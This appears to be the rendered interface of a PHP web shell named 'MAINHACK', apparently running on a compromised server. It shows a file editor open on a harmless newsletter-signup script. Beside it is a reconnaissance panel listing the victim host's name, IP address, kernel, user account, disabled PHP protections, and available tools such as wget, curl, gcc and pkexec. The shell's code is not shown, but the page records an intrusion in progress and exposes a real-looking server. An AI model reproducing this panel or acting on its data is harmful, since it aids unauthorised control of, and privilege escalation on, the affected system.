[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: process_newsletter.php
<?php // Set headers to prevent caching header('Cache-Control: no-cache, must-revalidate'); header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); header('Content-Type: application/json'); // Initialize response array $response = array( 'status' => 'error', 'message' => 'An unknown error occurred' ); // Check if the request is a POST request if ($_SERVER['REQUEST_METHOD'] === 'POST') { // Get form data $email = isset($_POST['email']) ? trim($_POST['email']) : ''; // Validate email if (empty($email)) { $response['message'] = 'Please enter your email address'; } elseif (!filter_var($email, FILTER_VALIDATE_EMAIL)) { $response['message'] = 'Please enter a valid email address'; } else { // In a real application, you would: // 1. Check if the email already exists in your database // 2. Add the email to your newsletter subscribers list // 3. Possibly send a confirmation email // For demonstration purposes, we'll simulate a successful subscription $success = true; if ($success) { $response['status'] = 'success'; $response['message'] = 'Thank you for subscribing to our newsletter!'; // Log the subscription (optional) $log_file = 'newsletter_subscriptions.log'; $log_message = date('[Y-m-d H:i:s]') . " - New subscription: $email\n"; // file_put_contents($log_file, $log_message, FILE_APPEND); } else { $response['message'] = 'Failed to subscribe. Please try again later.'; } } } else { $response['message'] = 'Invalid request method'; } // Return JSON response echo json_encode($response); ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.72 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002